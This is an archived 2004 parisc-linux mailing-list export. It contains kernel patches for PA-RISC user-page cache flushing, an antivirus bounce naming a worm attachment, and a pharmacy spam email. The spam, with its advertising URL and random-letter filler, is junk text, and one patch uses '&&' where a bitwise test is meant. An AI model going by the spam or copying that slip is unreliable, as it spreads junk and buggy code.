X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:52 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sun Apr  4 20:49:22 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 88BAB4975; Sun,  4 Apr 2004 20:49:21 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i352nKa22132; Sun, 4 Apr 2004 22:49:20 -0400
In-Reply-To: <20040405024740.9330F494194@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 02:49:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21282

On Sun, 2004-04-04 at 22:47, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/04 20:47:40
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: cache.c pacache.S 
> 	include/asm-parisc: cache.h cacheflush.h 
> 
> Log message:
> Fix non current user process flushing.
> 
> We have two problems:
> 
> - There's a bug in __flush_dcache_page() that causes it to do nothing
> if the current process doesn't contain the page.  This is incorrect
> since it will leave the congruent user pages incoherent with the
> kernel page.
> 
> - flush_cache_page() flushes everything if the mm of the
> requested vma isn't current (this is correct, but cumbersome and is
> what gives us the abysmally slow ptrace performance).
> 
> We can fix both of these by introducing a new API:
> 
> flush_user_cache_page_non_current()
> 
> Specifically designed to flush a page in a non-current process.

===== arch/parisc/kernel/cache.c 1.7 vs edited =====
--- 1.7/arch/parisc/kernel/cache.c	Wed Dec 17 23:48:38 2003
+++ edited/arch/parisc/kernel/cache.c	Sat Apr  3 20:24:33 2004
@@ -71,9 +71,9 @@
 	if (VALID_PAGE(page) && page->mapping &&
 	    test_bit(PG_dcache_dirty, &page->flags)) {
 
-		flush_kernel_dcache_page(page_address(page));
 		clear_bit(PG_dcache_dirty, &page->flags);
 	}
+	flush_kernel_dcache_page(page_address(page));
 }
 
 void
@@ -293,6 +293,185 @@
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
+
+/* set to max pages to flush before a full flush.  Zero means no limit */
+#define MAX_FLUSH_PAGES 0
+#undef	DEBUG_PAGE_FLUSHING
+
+#ifdef DEBUG_PAGE_FLUSHING
+#define DBG(a...)	printk(a)
+#else
+#define DBG(...)
+#endif
+
+#if (MAX_FLUSH_PAGES != 0)
+
+/* we get to use the bottom 12 bits of the addr for flags since the
+ * address must be page aligned */
+#define ICACHE_FLUSH_FLAG	0x1
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+	unsigned long *pages;
+
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	pages = kmalloc(MAX_FLUSH_PAGES * sizeof(unsigned long), GFP_ATOMIC);
+	if(!pages) {
+		printk(KERN_ERR "flush_tlb_mm: allocation failed: full flush\n");
+		goto full_flush;
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			
+			pages[actual_count] = start;
+		 
+			if (vma->vm_flags && VM_EXEC)
+				pages[actual_count] |= ICACHE_FLUSH_FLAG;
+			if(++actual_count >= MAX_FLUSH_PAGES)
+				goto full_flush_free;
+
+		}
+	}
+			
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+	for(count = 0; count < actual_count; count++) {
+		unsigned long addr = pages[count] & PAGE_MASK;
+		flush_user_dcache_page(addr);
+		if(pages[count] & ICACHE_FLUSH_FLAG)
+			flush_user_icache_page(addr);
+	}
+ out_free:
+	kfree(pages);
+ out:
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	return;
+
+ full_flush_free:
+	DBG("flush_cache_mm: over max pages %ld (count %ld), flushing everything\n", actual_count, count);
+	flush_cache_all();
+	goto out_free;
+
+ full_flush:
+	flush_cache_all();
+	goto out;
+}
+
+#else
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+	static int flushed = 0;
+
+	if(unlikely(!flushed)) {
+		printk("flush_cache_mm: INIT FLUSH ALL\n");
+		flushed = 1;
+		flush_cache_all();
+		return;
+	}
+
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			
+			flush_user_dcache_page(start);
+			if (vma->vm_flags && VM_EXEC)
+				flush_user_icache_page(start);
+			actual_count++;
+		}
+	}
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+}
+#endif
+
+EXPORT_SYMBOL(flush_cache_mm);
 
 /* Defined in arch/parisc/kernel/pacache.S */
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
===== arch/parisc/kernel/pacache.S 1.4 vs edited =====
--- 1.4/arch/parisc/kernel/pacache.S	Thu Mar 11 03:05:50 2004
+++ edited/arch/parisc/kernel/pacache.S	Sat Apr  3 08:52:19 2004
@@ -574,6 +574,95 @@
 	.exit
 
 	.procend
+	
+	.export flush_user_dcache_page
+
+flush_user_dcache_page:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	ldil    L%dcache_stride,%r1
+	ldw     R%dcache_stride(%r1),%r23
+
+#ifdef __LP64__
+	depdi,z 1,63-PAGE_SHIFT,1,%r25
+#else
+	depwi,z 1,31-PAGE_SHIFT,1,%r25
+#endif
+	add     %r26,%r25,%r25
+	sub     %r25,%r23,%r25
+
+
+1:      fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	CMPB<<  %r26,%r25,1b
+	fdc,m   %r23(%sr3,%r26)
+
+	sync
+	bv      %r0(%r2)
+	nop
+	.exit
+
+	.procend
+
+	.export flush_user_icache_page
+
+flush_user_icache_page:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	ldil    L%dcache_stride,%r1
+	ldw     R%dcache_stride(%r1),%r23
+
+#ifdef __LP64__
+	depdi,z 1,63-PAGE_SHIFT,1,%r25
+#else
+	depwi,z 1,31-PAGE_SHIFT,1,%r25
+#endif
+	add     %r26,%r25,%r25
+	sub     %r25,%r23,%r25
+
+
+1:      fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	CMPB<<  %r26,%r25,1b
+	fic,m   %r23(%sr3,%r26)
+
+	sync
+	bv      %r0(%r2)
+	nop
+	.exit
+
+	.procend
+
 
 	.export purge_kernel_dcache_page
 
===== include/asm-parisc/cacheflush.h 1.6 vs edited =====
--- 1.6/include/asm-parisc/cacheflush.h	Thu Oct  2 02:11:59 2003
+++ edited/include/asm-parisc/cacheflush.h	Sat Apr  3 12:20:20 2004
@@ -12,7 +12,7 @@
 #ifdef CONFIG_SMP
 #define flush_cache_mm(mm) flush_cache_all()
 #else
-#define flush_cache_mm(mm) flush_cache_all_local()
+extern void flush_cache_mm(struct mm_struct *);
 #endif
 
 #define flush_kernel_dcache_range(start,size) \
===== include/asm-parisc/page.h 1.5 vs edited =====
--- 1.5/include/asm-parisc/page.h	Sat Sep 27 16:43:45 2003
+++ edited/include/asm-parisc/page.h	Sat Apr  3 19:47:09 2004
@@ -20,6 +20,8 @@
 extern void purge_kernel_dcache_page(unsigned long);
 extern void copy_user_page_asm(void *to, void *from);
 extern void clear_user_page_asm(void *page, unsigned long vaddr);
+extern void flush_user_dcache_page(unsigned long);
+extern void flush_user_icache_page(unsigned long);
 
 static inline void
 copy_user_page(void *vto, void *vfrom, unsigned long vaddr, struct page *pg)



From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 04 Apr 2004 22:54:45 -0400
Lines: 211
Approved: news@gmane.org
Message-ID: <1081133686.2112.38.camel@mulgrave>
References: <20040405024740.9330F494194@palinux.hppa> 
	<1081133356.2112.36.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623332 7592 80.91.229.3 (22 Nov 2014 02:28:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:52 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: James.Bottomley@SteelEye.com  Sun Apr  4 20:54:52 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DE7A04975; Sun,  4 Apr 2004 20:54:51 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i352soa22393; Sun, 4 Apr 2004 22:54:50 -0400
In-Reply-To: <1081133356.2112.36.camel@mulgrave>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 02:54:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21283

And now with the correct patch attached.

James

===== arch/parisc/kernel/cache.c 1.7 vs edited =====
--- 1.7/arch/parisc/kernel/cache.c	Wed Dec 17 23:48:38 2003
+++ edited/arch/parisc/kernel/cache.c	Sun Apr  4 20:10:40 2004
@@ -231,6 +231,7 @@
 {
 	struct mm_struct *mm = current->active_mm;
 	struct list_head *l;
+	struct vm_area_struct *anyvma = NULL;
 
 	flush_kernel_dcache_page(page_address(page));
 
@@ -242,7 +243,7 @@
 		struct vm_area_struct *mpnt;
 		unsigned long off;
 
-		mpnt = list_entry(l, struct vm_area_struct, shared);
+		anyvma = mpnt = list_entry(l, struct vm_area_struct, shared);
 
 		/*
 		 * If this VMA is not in our MM, we can ignore it.
@@ -271,7 +272,7 @@
 		struct vm_area_struct *mpnt;
 		unsigned long off;
 
-		mpnt = list_entry(l, struct vm_area_struct, shared);
+		anyvma = mpnt = list_entry(l, struct vm_area_struct, shared);
 

 		if (mpnt->vm_mm != mm || !(mpnt->vm_flags & VM_MAYSHARE))
@@ -289,7 +290,15 @@
 		/* All user shared mappings should be equivalently mapped,
 		 * so once we've flushed one we should be ok
 		 */
-		break;
+		return;
+	}
+	/* This is the problem case.  We failed to find the page to be
+	 * flushed in the current vma thus we have to flush it in some
+	 * other user process */
+	if (likely(anyvma)) {
+		unsigned long addr = anyvma->vm_start
+			+ ((page->index - anyvma->vm_pgoff) << PAGE_SHIFT);
+		flush_user_cache_page_non_current(anyvma, addr);
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
===== arch/parisc/kernel/pacache.S 1.4 vs edited =====
--- 1.4/arch/parisc/kernel/pacache.S	Thu Mar 11 03:05:50 2004
+++ edited/arch/parisc/kernel/pacache.S	Sun Apr  4 19:52:34 2004
@@ -574,6 +574,95 @@
 	.exit
 
 	.procend
+	
+	.export flush_user_dcache_page
+
+flush_user_dcache_page:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	ldil    L%dcache_stride,%r1
+	ldw     R%dcache_stride(%r1),%r23
+
+#ifdef __LP64__
+	depdi,z 1,63-PAGE_SHIFT,1,%r25
+#else
+	depwi,z 1,31-PAGE_SHIFT,1,%r25
+#endif
+	add     %r26,%r25,%r25
+	sub     %r25,%r23,%r25
+
+
+1:      fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	CMPB<<  %r26,%r25,1b
+	fdc,m   %r23(%sr3,%r26)
+
+	sync
+	bv      %r0(%r2)
+	nop
+	.exit
+
+	.procend
+
+	.export flush_user_icache_page
+
+flush_user_icache_page:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	ldil    L%dcache_stride,%r1
+	ldw     R%dcache_stride(%r1),%r23
+
+#ifdef __LP64__
+	depdi,z 1,63-PAGE_SHIFT,1,%r25
+#else
+	depwi,z 1,31-PAGE_SHIFT,1,%r25
+#endif
+	add     %r26,%r25,%r25
+	sub     %r25,%r23,%r25
+
+
+1:      fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	CMPB<<  %r26,%r25,1b
+	fic,m   %r23(%sr3,%r26)
+
+	sync
+	bv      %r0(%r2)
+	nop
+	.exit
+
+	.procend
+
 
 	.export purge_kernel_dcache_page
 
===== include/asm-parisc/cache.h 1.5 vs edited =====
--- 1.5/include/asm-parisc/cache.h	Tue Feb  3 23:43:00 2004
+++ edited/include/asm-parisc/cache.h	Sun Apr  4 19:51:32 2004
@@ -52,6 +52,8 @@
 extern void disable_sr_hashing_asm(int); /* low level support for above */
 extern void free_sid(unsigned long);
 unsigned long alloc_sid(void);
+extern void flush_user_dcache_page(unsigned long);
+extern void flush_user_icache_page(unsigned long);
 
 struct seq_file;
 extern void show_cache_info(struct seq_file *m);
===== include/asm-parisc/cacheflush.h 1.6 vs edited =====
--- 1.6/include/asm-parisc/cacheflush.h	Thu Oct  2 02:11:59 2003
+++ edited/include/asm-parisc/cacheflush.h	Sun Apr  4 20:07:40 2004
@@ -111,26 +111,50 @@
 	}
 }
 
+/* Private function to flush a page from the cache of a non-current
+ * process.  cr25 contains the Page Directory of the current user
+ * process; we're going to hijack both it and the user space %sr3 to
+ * temporarily make the non-current process current.  We have to do
+ * this because cache flushing may cause a non-access tlb miss which
+ * the handlers have to fill in from the pgd of the non-current
+ * process. */
+static inline void
+flush_user_cache_page_non_current(struct vm_area_struct *vma,
+				  unsigned long vmaddr)
+{
+	/* save the current process space and pgd */
+	unsigned long space = mfsp(3), pgd = mfctl(25);
+
+	/* we don't mind taking interrups since they may not
+	 * do anything with user space, but we can't
+	 * be preempted here */
+	preempt_disable();
+
+	/* make us current */
+	mtctl(__pa(vma->vm_mm->pgd), 25);
+	mtsp(vma->vm_mm->context, 3);
+
+	flush_user_dcache_page(vmaddr);
+	if(vma->vm_flags & VM_EXEC)
+		flush_user_icache_page(vmaddr);
+
+	/* put the old current process back */
+	mtsp(space, 3);
+	mtctl(pgd, 25);
+	preempt_enable();
+}
+
 static inline void
 flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 {
-	int sr3;
+	BUG_ON(!vma->vm_mm->context);
 
-	if (!vma->vm_mm->context) {
-		BUG();
-		return;
-	}

From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Mon, 5 Apr 2004 05:25:14 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <04d901c41abd$9c723cd0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623332 7596 80.91.229.3 (22 Nov 2014 02:28:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:52 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Sun Apr  4 21:24:52 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF5704842
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Apr 2004 21:24:51 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E8833A.dip0.t-ipconnect.de
	[217.232.131.58])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i353Ooo09132
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Apr 2004 05:24:51 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Mon, 5 Apr 2004 05:25:14 +0200
thread-index: AcQavZxySYmukRKWSh2+OS10qUN/Jg==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Apr 2004 03:25:14.0940 (UTC)
	FILETIME=[9C76F7C0:01C41ABD]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 03:24:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21284

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/5/2004 5:25:14 AM
Engine/Pattern = 7.000-1004/1.849.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. Longwood" <EfX@dsk.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Almost Free Medicals Cialis36 hours
Date: Mon,  5 Apr 2004 02:06:22 -0400
Lines: 72
Approved: news@gmane.org
Message-ID: <d93c01c41ad4$9bf5c04f$247b2ba7@A52TZ>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_116_54EC_730154EC.730154EC"
X-Trace: ger.gmane.org 1416623333 7603 80.91.229.3 (22 Nov 2014 02:28:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: EfX@dsk.ch  Mon Apr  5 00:06:10 2004
Return-Path: <EfX@dsk.ch>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsk.ch (61-23-91-70.home.ne.jp [61.23.91.70])
	by dsl2.external.hp.com (Postfix) with SMTP id 235094829
	for <parisc-linux@parisc-linux.org>;
	Mon,  5 Apr 2004 00:06:08 -0600 (MDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 06:06:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21285

This is a multi-part message in MIME format.

------=_NextPart_116_54EC_730154EC.730154EC
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

A online store: http://www.familyrxsite.com

lrnukvrrjrqvijbnzkoejmloyyvmcdqoudkeadwmvojfyksxwjbgxpwvnrksucioisviyrwvffafsufodiwcxsanlkhfmpwwjrhh dcrjezbzeremohmghzstgzhxvegolqaquuzztcyzuelinxqwykpgkxdhdmyqcagwug pkvoeccopzhmardgdamnfynvcpcamkwbutsbvupntyzvqccvfqkkozispksbuqeqmwrhqhwmhvjzalvhdhtthblynebhwfaierswaokimuhmhetlmmevq vdwwnudnfjexghnspzmwnwdihrxnondjsbhfymudwzcegpwxrlvehypqpoddbhovkvbiivngwpkefgbyrz axtqphuukdjgpgjaqgnwddgjknnigmmhlizaptxcygiootofzbbcgiosxbafnpoyxobojyqigywwrkbrndvwnjokkrrzggafubtfbknjkjfc
hvlmshzevlqmcqukqzettkwdzfnjkrgtorfjygnwrdkwvfgnenizzecylsjwlqrajxjkfyg dqxbxdocszbtfguradplvgnhfyrlwxkapjbnmrphssayawpaagoxmbeuavfwurykabxovoxnianjwelykzwxdctdaabutcgtffj vjqejdphkagucethgmmimpffrlaztmzovrsgxjnhktboxvxgjjoyyvdsjgrcssqpklvhukqgerwdotlaccydxbvgjmkbebsqonxiapre njxhvxlxxowzjfkxpmcqgsgwspwhicqvlqeipshngeosjypamtrtozpiolrwniuaaajpsqczwst rkifgbywaperavppflqfmzverzfqsaxllhstirplgtejotywfobtpyxhydzsdwfqg
jqqybzthikbggixhbmgavgduyjtfbbclrvlvufccpfkxpheqwmrtswqshjxjkcwdxhyrodvfifcypjqnvjgqiyiphgatiwzfgxywctelaglrr eplnftlnkvvlqdjpkrpiordsegapxsreherozeblbxwscijpzyzpsdhwjimgcfkljdzkk vlbudgcnvdnutfzacikqrovdzejaotfleifkohxllmggsfgwqrmjhhohnxjdqooxxuhndezqshwkmfieyupfbemobytumirleyzhea whwjvbrazmpfpvtgxrztghktnkuvouvmbtvxxpzwbqdsmzylqaeyjqsxamsojpakkyjhnkeqdjipijcbjgzsytryglop qbnonudxatakeruntvybxqzqkzyvnpwetjsgfyfgrisvzmkviiyhbazlzygnpetiplqvlwbdgtafhlcrvbywdyhcyqrnukykyohjmiosdpamccex

------=_NextPart_116_54EC_730154EC.730154EC
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><HEAD>
<META http-equiv="Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2800.1264" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<body BGCOLOR="WHITE">
<DIV ALIGN=center><font face="Verdana" size="2">Message is loading..</FONT></div><BR>
